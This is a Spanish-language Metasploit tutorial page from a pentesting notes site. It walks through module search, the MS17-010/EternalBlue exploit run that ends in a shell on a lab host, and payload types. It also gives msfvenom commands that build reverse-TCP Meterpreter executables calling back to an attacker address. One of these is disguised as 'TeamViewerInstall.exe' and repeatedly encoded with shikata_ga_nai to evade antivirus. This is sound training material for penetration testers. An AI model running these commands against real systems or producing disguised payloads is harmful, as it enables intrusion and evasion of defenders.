> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-tools/exploitation/metasploit.md).

# Metasploit

## Metasploit:

{% hint style="info" %}
Metasploit es una plataforma de pruebas de penetración de código abierto ampliamente utilizada por profesionales de seguridad informática para evaluar la vulnerabilidad de los sistemas de TI. Proporciona un conjunto de herramientas y recursos para descubrir, explotar y proteger vulnerabilidades de seguridad en redes, sistemas operativos, aplicaciones y otros componentes de TI. En resumen, Metasploit es un marco integral para realizar pruebas de penetración y auditorías de seguridad.
{% endhint %}

De forma predeterminada, todos los archivos principales relacionados con Metasploit Framework se pueden encontrar `/usr/share/metasploit-framework`

## Flujo de trabajo de Metasploit

1. Identifica el servicio expuesto, la versión, la plataforma y la vulnerabilidad probable antes de seleccionar un módulo.
2. Busca módulos por servicio, CVE, plataforma, tipo, rango y nombre, y luego revisa la información y las referencias del módulo.
3. Configura las opciones del objetivo, las opciones del payload, las direcciones del listener y la selección del objetivo con la configuración más pequeña y confiable.
4. Ejecuta comprobaciones cuando estén disponibles, ejecuta solo módulos confirmados y conserva la salida del módulo para los informes.
5. Administra sesiones, espacios de trabajo, loot, credenciales, servicios y hosts a través de la base de datos de Metasploit cuando la evaluación crezca.

### **Módulos:**

Los módulos detallados arriba se dividen en categorías distintas en este archivo. Las detallaremos en las siguientes secciones. Se encuentran en las siguientes carpetas:<br>

<figure><img src="/files/ca8b8e932d2d8097a861d9e6a03bf825d87d2b5e" alt=""><figcaption></figcaption></figure>

### **Complementos:**

Los complementos le dan al pentester más flexibilidad al usarlos `msfconsole`ya que se pueden cargar fácilmente de forma manual o automática según sea necesario para proporcionar funcionalidad y automatización adicionales durante nuestra evaluación.

<div data-full-width="true"><figure><img src="/files/cdbe3314a7ced53a9e4546dec6bb72b876fbe1fc" alt=""><figcaption></figcaption></figure></div>

### Escenarios:

Funcionalidad de Meterpreter y otros scripts útiles.

<figure><img src="/files/4ddf195c465dd5947d50da02bb4d99f50aacac98" alt="" width="471"><figcaption></figcaption></figure>

### **Herramientas:**

Utilidades de línea de comandos que pueden llamarse directamente desde el `msfconsole`menú

<div data-full-width="true"><figure><img src="/files/4c5d8efcabd84b5b7adfebaebde4646aefa51b4d" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="/files/43b9cf7e8144ad1125e0e874ed61db00cd83ec57" alt=""><figcaption></figcaption></figure>

### Estructura de compromiso de MSF

La estructura de compromiso de MSF se puede dividir en cinco categorías principales.

* Enumeración
* Preparación
* Explotación
* Escalada de privilegios
* Post-explotación

{% hint style="info" %}
Esta división nos facilita encontrar y seleccionar las funciones adecuadas de MSF de una manera más estructurada y trabajar con ellas en consecuencia. Cada una de estas categorías tiene diferentes subcategorías destinadas a propósitos específicos. Estas incluyen, por ejemplo, la validación de servicios y la investigación de vulnerabilidades.
{% endhint %}

<figure><img src="/files/edc9b67a1ec1d2d6af9ef6b5cce4f660a7af6484" alt=""><figcaption></figcaption></figure>

## **Componentes**

### Buscar módulos:

#### Una vez que estamos en el `msfconsole`, podemos seleccionar de una larga lista que contiene todos los módulos de Metasploit disponibles. Cada uno de ellos está estructurado en carpetas, que se verán así:

**Sintaxis:**

```bash
<Núm.> <tipo>/<s.o.>/<servicio>/<nombre>
```

**Ejemplo**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **NO:**

El `Núm.`se mostrará la etiqueta para seleccionar el exploit que queremos más adelante durante nuestras búsquedas. Veremos `Núm.`más adelante lo útil que puede ser la etiqueta para seleccionar módulos específicos de Metasploit.

2. **Tipo:**

| Tipo:           | **Descripción**                                                                                                                       |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| `Auxiliar`      | Funciones de escaneo, fuzzing, detección y administración. Proporciona soporte y funcionalidad adicional.                             |
| `Codificadores` | Garantizan que los payloads permanezcan intactos hasta que lleguen a su destino.                                                      |
| `Exploits`      | Módulos que explotan una vulnerabilidad para entregar el payload.                                                                     |
| `NOPs`          | (Código de no operación) Mantienen consistentes los tamaños de los payloads entre intentos de explotación.                            |
| `Payloads`      | El código se ejecuta de forma remota y llama de vuelta a la máquina del atacante para establecer una conexión o shell.                |
| `Complementos`  | Se pueden integrar scripts adicionales en una `msfconsole` evaluación y coexistir.                                                    |
| `Post`          | Amplio rango de módulos para recopilar información, pivotar más profundamente y realizar tareas relacionadas con la post-explotación. |

3. **S.O.:**

El `S.O.`la etiqueta especifica el sistema operativo y la arquitectura para los que se creó el módulo. Naturalmente, diferentes sistemas operativos requieren distintos códigos para ejecutarse y lograr los resultados deseados 4. **Servicio:**

El `Servicio` la etiqueta se refiere al servicio vulnerable que se ejecuta en la máquina objetivo. En algunos módulos, como `auxiliar` o `post`, esta etiqueta puede referirse a una actividad más general como `recopilar`, refiriéndose, por ejemplo, a la recopilación de credenciales. 5. **Nombre:**

Por último, la `Nombre`etiqueta explica la acción real que se puede realizar usando este módulo creado para un propósito específico.

**MSF - Función de búsqueda**

Por ejemplo, podemos intentar encontrar el `EternalRomance`exploit para sistemas operativos Windows antiguos. Podría verse así:

`search eternalromance`

<div data-full-width="true"><figure><img src="/files/80dedf1223463bca6b90296f994b0ccb6e378012" alt=""><figcaption></figcaption></figure></div>

### **Búsqueda específica:**

También podemos hacer nuestra búsqueda un poco más amplia y limitarla a una sola categoría de servicios. Por ejemplo, para CVE, podríamos especificar el año (`cve:<año>`), plataforma Windows (`platform:<s.o.>`), el tipo de módulo que queremos encontrar (`type:<auxiliary/exploit/post>`), el rango de confianza (`rank:<rango>`), y el nombre de búsqueda (`<patrón>`). Esto reduciría nuestros resultados a los que coincidan con todo lo anterior.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="/files/99ecbb8d25e36f9e62836e4f3bd8161b920bc20f" alt=""><figcaption></figcaption></figure></div>

### Uso de módulos:

Para seleccionar nuestro primer módulo, primero necesitamos encontrar uno. Supongamos que tenemos un objetivo que ejecuta una versión de SMB vulnerable a exploits EternalRomance (MS17/\_010). Encontramos que el puerto 445 del servidor SMB está abierto al escanear el objetivo.

**Búsqueda de MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="/files/93d08db942d89c84bbaac2fdbb22f65fde3f8013" alt=""><figcaption></figcaption></figure></div>

**MSF - Seleccionar un módulo**

Para usar un módulo en Metasploit, primero inserta el `use` comando seguido del número de módulo deseado, luego usa el `options` comando para ver los detalles y configuraciones disponibles para ese módulo.

```bash
Módulos coincidentes
================

   #  Nombre                                Fecha de divulgación  Rango   Verificación  Descripción
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Sí     Ejecución remota de código SMB para Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  No     Ejecución remota de comandos SMB para Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Opciones del módulo (exploit/windows/smb/ms17_010_psexec):

   Nombre                  Configuración actual                  Requerido  Descripción
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    sí       Mostrar información adicional de seguimiento de depuración
   LEAKATTEMPTS          99                                       sí       Cuántas veces intentar filtrar la transacción
   NAMEDPIPE                                                      no        Una canalización con nombre a la que se puede conectar (dejar en blanco para automático)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  sí       Lista de canalizaciones con nombre que comprobar
                         rdlists/named_pipes.txt
   RHOSTS                                                         sí       El/los host(s) objetivo, ver https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      sí       El puerto objetivo (TCP)
   SERVICE_DESCRIPTION                                            no        Descripción del servicio que se usará en el objetivo para una lista ordenada
   SERVICE_DISPLAY_NAME                                           no        El nombre para mostrar del servicio
   SERVICE_NAME                                                   no        El nombre del servicio
   SHARE                 ADMIN$                                   sí       El recurso compartido al que conectarse, puede ser un recurso administrativo (ADMIN$,C$,...) o una
                                                                            compartición normal de carpeta de lectura/escritura
   SMBDomain             .                                        no        El dominio de Windows que se usará para la autenticación
   SMBPass                                                        no        La contraseña para el nombre de usuario especificado
   SMBUser                                                        no        El nombre de usuario con el que autenticarse

Opciones del payload (windows/meterpreter/reverse_tcp):

   Nombre      Configuración actual  Requerido  Descripción
   ----      ---------------  --------  -----------
   EXITFUNC  thread           sí       Técnica de salida (Aceptadas: '', seh, thread, process, none)
   LHOST                      sí       La dirección de escucha (se puede especificar una interfaz)
   LPORT     4444             sí       El puerto de escucha

Objetivo del exploit:

   Id  Nombre
   --  ----
   0   Automático
```

**Información del módulo**

Podemos usar el `atributo info`comando después de seleccionar el módulo si queremos saber más sobre él. Esto nos dará una serie de información que puede ser importante para nosotros.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Nombre: Ejecución remota de código SMB para Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion
     Módulo: exploit/windows/smb/ms17_010_psexec
   Plataforma: Windows
       Arquitectura: x86, x64
 Con privilegios: No
    Licencia: Licencia de Metasploit Framework (BSD)
       Rango: Normal
  Divulgado: 2017-03-14

Proporcionado por:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Objetivos disponibles:
  Id  Nombre
  --  ----
  0   Automático
  1   PowerShell
  2   Carga nativa
  3   Carga MOF

¿Verificación compatible?
  Sí

Opciones básicas:
  Nombre                  Configuración actual                  Requerido  Descripción
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    sí       Mostrar información adicional de seguimiento de depuración
  LEAKATTEMPTS          99                                       sí       Cuántas veces intentar filtrar la transacción
  NAMEDPIPE                                                      no        Una canalización con nombre a la que se puede conectar (dejar en blanco para automático)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  sí       Lista de canalizaciones con nombre que comprobar
                        rdlists/named_pipes.txt
  RHOSTS                                                         sí       El/los host(s) objetivo, ver https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      sí       El puerto objetivo (TCP)
  SERVICE_DESCRIPTION                                            no        Descripción del servicio que se usará en el objetivo para una lista ordenada
  SERVICE_DISPLAY_NAME                                           no        El nombre para mostrar del servicio
  SERVICE_NAME                                                   no        El nombre del servicio
  SHARE                 ADMIN$                                   sí       El recurso compartido al que conectarse, puede ser un recurso administrativo (ADMIN$,C$,...) o un
                                                                           compartición normal de carpeta de lectura/escritura
  SMBDomain             .                                        no        El dominio de Windows que se usará para la autenticación
  SMBPass                                                        no        La contraseña para el nombre de usuario especificado
  SMBUser                                                        no        El nombre de usuario con el que autenticarse

Información del payload:
  Espacio: 3072

Descripción:
  Este módulo explotará SMB con vulnerabilidades en MS17-010 para
  lograr una primitiva de escritura-donde-quieras. Luego esto se usará para
  sobrescribir la información de la sesión de conexión como una
  sesión de Administrador. A partir de ahí, se realiza la ejecución normal
  del código del payload psexec. Explota una confusión de tipos entre las solicitudes Transaction y
  WriteAndX y una condición de carrera en las solicitudes Transaction, como
  se ve en los exploits EternalRomance, EternalChampion y EternalSynergy.
  Esta cadena de explotación es más confiable que el exploit EternalBlue,
  pero requiere una canalización con nombre.

Referencias:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

También conocido como:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Especificación del objetivo**

Una vez que estemos seguros de que el módulo seleccionado es el adecuado para nuestro propósito, necesitamos definir algunas especificaciones para personalizar el módulo y usarlo con éxito en nuestro host objetivo, como establecer el objetivo ( `RHOST`o `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Además, existe la `setg` opción, que especifica que las opciones seleccionadas por nosotros sean permanentes hasta que el programa se reinicie.

<figure><img src="/files/ae9851f508cb740144ef1a5d02bb5b5214122c79" alt=""><figcaption></figcaption></figure>

**Ejecución de exploits**

Una vez que todo esté configurado y listo, podemos proceder a lanzar el ataque. Comando: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Iniciado handler TCP inverso en 10.10.14.15:4444
[*] 10.10.10.40:445 - Usando auxiliary/scanner/smb/smb_ms17_010 como comprobación
[+] 10.10.10.40:445       - ¡El host probablemente es VULNERABLE a MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Se escaneó 1 de 1 hosts (100% completado)
[*] 10.10.10.40:445 - Conectando al objetivo para la explotación.
[+] 10.10.10.40:445 - Conexión establecida para la explotación.
[+] 10.10.10.40:445 - El S.O. objetivo seleccionado es válido para el S.O. indicado por la respuesta SMB
[*] 10.10.10.40:445 - Vaciado de búfer bruto CORE (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - El S.O. objetivo seleccionado es válido para la arquitectura indicada por la respuesta DCE/RPC
[*] 10.10.10.40:445 - Intentando explotar con 12 Groom Allocations.
[*] 10.10.10.40:445 - Enviando todos los fragmentos excepto el último del paquete de explotación
[*] 10.10.10.40:445 - Iniciando el grooming del pool no paginado
[+] 10.10.10.40:445 - Enviando búferes SMBv2
[+] 10.10.10.40:445 - Cerrando la conexión SMBv1 creando un agujero libre adyacente al búfer SMBv2.
[*] 10.10.10.40:445 - Enviando los búferes finales SMBv2.
[*] 10.10.10.40:445 - ¡Enviando el último fragmento del paquete de explotación!
[*] 10.10.10.40:445 - Recibiendo respuesta del paquete de explotación
[+] 10.10.10.40:445 - ¡La sobrescritura ETERNALBLUE se completó correctamente (0xC000000D)!
[*] 10.10.10.40:445 - Enviando egg a la conexión corrupta.
[*] 10.10.10.40:445 - Activando la liberación del búfer corrupto.
[*] Sesión de shell de comandos 1 abierta (10.10.14.15:4444 -> 10.10.10.40:49158) a las 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-GANÓ-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Objetivos

### **Mostrar objetivos:**

El `show targets`comando emitido en la vista de un módulo de exploit mostrará todos los objetivos vulnerables disponibles para ese exploit específico. Si dejas la selección en, `Automático`msfconsole sabrá realizar un descubrimiento del servicio en el objetivo dado antes de lanzar un ataque exitoso.

<figure><img src="/files/d54ebf49591646c4d1f58dfc4a75ad5349db9eff" alt=""><figcaption></figcaption></figure>

Sin embargo, si sabemos qué versiones se están ejecutando en nuestro objetivo, podemos usar el `set target <n.º índice>`comando para elegir un objetivo de la lista.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Payloads:

{% hint style="info" %}
En `payload` En Metasploit, un módulo ayuda al módulo exploit a devolver (normalmente) una `shell` al atacante. Los payloads se envían junto con el exploit para eludir los procedimientos operativos estándar del servicio vulnerable (trabajo del exploit), y luego se ejecutan en el sistema operativo objetivo para, por lo general, devolver una conexión inversa al atacante y establecer el trabajo del payload.
{% endhint %}

Hay tres tipos diferentes de módulos de payload en el marco de Metasploit: Singles, Stagers y Stages.

1. **Payloads Single** :

> Un payload simple contiene todo el código necesario para la explotación y la ejecución en un único payload independiente. Esto los hace más estables, porque solo hay un elemento que ejecutar. Sin embargo, pueden estar limitados por su tamaño, porque algunos ataques no admiten payloads demasiado grandes. Son ideales para acciones inmediatas, como agregar un usuario o iniciar un proceso en el objetivo.

2. **Payloads Stagers:**

> Los payloads Stager funcionan con payloads Stage dividiendo la carga en múltiples etapas. Un stager reside en el sistema del atacante e inicia la conexión de red con el objetivo cuando la etapa se ejecuta en la máquina remota. Están diseñados para ser pequeños y confiables, lo que facilita establecer conexiones. Los stagers de Windows también están disponibles en versiones "NX" (para compatibilidad con la protección DEP) y "NO-NX", siendo NX más voluminoso pero adecuado para sistemas modernos.

3. **Payloads Stages**:

> Los payloads Stage son componentes cargados por los stagers para funcionalidad avanzada y sin limitaciones de tamaño. Se utilizan para cargas complejas como Meterpreter o la inyección VNC. Para minimizar errores, las etapas usan stagers intermedios para garantizar la estabilidad de la carga. Son particularmente adecuados para ataques de varias etapas que requieren un flujo de datos fiable y sostenido.

### Payloads por etapas:

**payloads en etapas**

Como usuario de Metasploit, los encontraremos bajo los nombres comunes `reverse_tcp`, `reverse_https`, y `bind_tcp`. Por ejemplo, bajo el `show payloads`comando, puedes buscar payloads que se vean como los siguientes:

<figure><img src="/files/4a040b98d9bfd526bf1c3a011c071a869c057e6c" alt=""><figcaption></figcaption></figure>

### **Payloads Meterpreter:**

`Meterpreter` es un payload avanzado que usa inyección DLL para establecer una conexión estable y persistente, completamente en memoria, lo que dificulta su detección. Permite cargar dinámicamente scripts y complementos. Una vez iniciado, abre una sesión que ofrece comandos específicos para controlar el sistema objetivo: `captura de pulsaciones de teclas, recuperación de contraseñas, escucha del micrófono y más.`

### Búsqueda de payloads:

Para seleccionar nuestro primer payload, necesitamos saber qué queremos hacer en la máquina objetivo. Por ejemplo, si buscamos persistencia de acceso, probablemente querremos seleccionar un payload de Meterpreter.

Al revisar la lista anterior, encontramos la sección que contiene `Payloads Meterpreter para Windows(x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP Bind IPv6 para Windows x64
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP Bind IPv6 para Windows x64 con soporte UUID
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager de canalización con nombre bind para Windows x64
   518  windows/x64/meterpreter/bind_tcp                                     manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP Bind para Windows x64
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP Bind (cifrado de etapa RC4, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP Bind con soporte UUID (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager HTTP inverso para Windows x64 (wininet)
   522  windows/x64/meterpreter/reverse_https                                manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager HTTP inverso para Windows x64 (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager de canalización con nombre inversa (SMB) para Windows x64
   524  windows/x64/meterpreter/reverse_tcp                                  manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP inverso para Windows x64
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP inverso (cifrado de etapa RC4, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager TCP inverso con soporte UUID (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager HTTP inverso para Windows x64 (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manual  No     Windows Meterpreter (Inyección reflectiva x64), Stager HTTPS inverso para Windows x64 (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manual  No     Shell de Windows Meterpreter, canalización con nombre inline bind (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manual  No     Shell de Windows Meterpreter, TCP bind inline (x64)
   531  windows/x64/meterpreter_reverse_http                                 manual  No     Shell de Windows Meterpreter, HTTP inverso inline (x64)
   532  windows/x64/meterpreter_reverse_https                                manual  No     Shell de Windows Meterpreter, HTTPS inverso inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  No     Shell de Windows Meterpreter, TCP inverso inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manual  No     Shell de Windows Meterpreter, TCP inverso inline x64
</code></pre>

### **Búsqueda de un payload específico:**

También podemos usar `grep`en para filtrar términos específicos. Esto aceleraría la búsqueda y, por lo tanto, nuestra selección.

```bash
grep meterpreter show payloads
```

<figure><img src="/files/d7146f193f1b3b65f3191e7d07e707e8aa62a610" alt=""><figcaption></figcaption></figure>

Ahora podemos agregar otro `grep`comando después del primero y buscar `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="/files/e7cac1b533865dbcae11d64759f162212c1ba4d3" alt=""><figcaption></figcaption></figure>

### **Seleccionar payload:**

Usamos `set payload <n.º>`solo después de seleccionar primero un módulo Exploit.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Uso de payloads:

Para la parte de Exploit, necesitaremos definir los siguientes elementos:

| **Parámetro** | **Descripción**                                       |
| ------------- | ----------------------------------------------------- |
| `RHOSTS`      | La dirección IP del host remoto, la máquina objetivo. |
| `RPORT`       | El puerto del host remoto.                            |

Para la parte del payload, necesitaremos definir los siguientes elementos:

| **Parámetro** | **Descripción**                                                                    |
| ------------- | ---------------------------------------------------------------------------------- |
| `LHOST`       | La dirección IP del host, la máquina del atacante.                                 |
| `LPORT`       | Por lo general no necesita modificación; verifica que el puerto no esté ya en uso. |

### Tipos de payload:

| **Carga útil**                    | **Descripción**                                                                           |
| --------------------------------- | ----------------------------------------------------------------------------------------- |
| `genérico/personalizado`          | Listener genérico de propósito múltiple                                                   |
| `generic/shell_bind_tcp`          | Listener genérico de propósito múltiple, shell normal, conexión TCP bind                  |
| `generic/shell_reverse_tcp`       | Escucha genérica multipropósito, shell normal, conexión TCP inversa                       |
| `windows/x64/exec`                | Ejecuta un comando arbitrario (Windows x64)                                               |
| `windows/x64/loadlibrary`         | Carga una ruta de biblioteca x64 arbitraria                                               |
| `windows/x64/messagebox`          | Genera un cuadro de diálogo mediante MessageBox con título, texto e icono personalizables |
| `windows/x64/shell_reverse_tcp`   | Shell normal, carga útil única, conexión TCP inversa                                      |
| `windows/x64/shell/reverse_tcp`   | Shell normal, stager más stage, conexión TCP inversa                                      |
| `windows/x64/shell/bind_ipv6_tcp` | Shell normal, stager más stage, stager de enlace TCP IPv6                                 |
| `windows/x64/meterpreter/$`       | Carga útil de Meterpreter más las variantes anteriores                                    |
| `windows/x64/powershell/$`        | Sesiones interactivas de PowerShell más las variantes anteriores                          |
| `windows/x64/vncinject/$`         | Servidor VNC (inyección reflectiva) más las variantes anteriores                          |

## Codificadores

{% hint style="info" %}
Durante los 15 años que ha existido el framework Metasploit, `Codificadores`hemos ayudado a hacer compatibles las cargas útiles con diferentes arquitecturas de procesadores, al tiempo que contribuíamos a la evasión de antivirus. `Codificadores`entra en juego con la función de modificar la carga útil para que se ejecute en diferentes sistemas operativos y arquitecturas. Estas arquitecturas incluyen:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Selección de un codificador:

> Si quisiéramos crear nuestra carga útil personalizada, podríamos hacerlo mediante `msfpayload`, pero tendríamos que codificarla según la arquitectura del sistema operativo objetivo usando `msfencode`después. Un canal tomaría la salida de un comando y la enviaría al siguiente, lo que generaría una carga útil codificada, lista para ser enviada y ejecutada en la máquina objetivo.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="/files/be72914e082a6fe09cd98d3a25234cac12b29f25" alt=""><figcaption></figcaption></figure>

### **Generación de payload - Sin codificación:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Ahora deberíamos mirar la primera línea de la `$buf`y ver cómo cambia al aplicar un codificador como `shikata_ga_nai`.

<figure><img src="/files/a94d0ebf54da435480bbda731a97a42fcf8b3df6" alt=""><figcaption></figcaption></figure>

### **Generación de payload - Con codificación:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="/files/9099b46477e8dabc0f432722fe8bbc11455abf2c" alt=""><figcaption></figcaption></figure>

### **Codificación Shikata Ga Nai:**

> Tomemos el ejemplo anterior tal como está, un ejemplo hipotético. Si codificáramos una carga útil ejecutable solo una vez con SGN, lo más probable es que la detectaran la mayoría de los antivirus actuales. Veamos eso por un momento. Tomando `msfvenom`, el índice del framework que se ocupa de la generación de payloads y de los esquemas de codificación, tenemos la siguiente entrada:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/ef3d0d36bead38015e02f651e5dc2a18f21ed4ec" alt="" width="563"><figcaption></figcaption></figure>

Esto generará una carga útil en `exe`formato TeamViewerInstall.exe, que se supone que debe ejecutarse en procesadores de arquitectura x86 para la plataforma Windows, con una carga útil oculta de shell Meterpreter reverse/\_tcp, codificada una vez con el esquema Shikata Ga Nai. Tomemos el resultado y súbelo a VirusTotal.

<figure><img src="/files/30cf53ef6bd5c32f46f9354c86bed10fd4619365" alt=""><figcaption></figcaption></figure>

Una mejor opción sería probar ejecutándolo a través de múltiples iteraciones del mismo esquema de codificación:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/c9ab33523f1ff7d9869917b926a538bb6d894f10" alt="" width="563"><figcaption></figcaption></figure>

Como podemos ver, esto todavía no es suficiente para evadir a los antivirus. Existe una gran cantidad de productos que aún detectan la carga útil. Como alternativa, Metasploit ofrece una herramienta llamada `msf-virustotal`que podemos usar con una clave API para analizar nuestras cargas útiles. Sin embargo, esto requiere un registro gratuito en VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Usando la clave API: <API key>
[*] Por favor espera mientras subo TeamViewerInstall.exe...
[*] VirusTotal: solicitud de análisis en cola correctamente, vuelve más tarde para obtener el informe
[*] Hash MD5 de la muestra    : 4f54cc46e2f55be168cc6114b74a3130
[*] Hash SHA1 de la muestra   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Hash SHA256 de la muestra : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Enlace de análisis: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Solicitando el informe...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Informe de análisis: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Antivirus             Detectado  Versión                                                         Resultado                                                     Actualización
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Malicious                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       suspicious                                                 20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
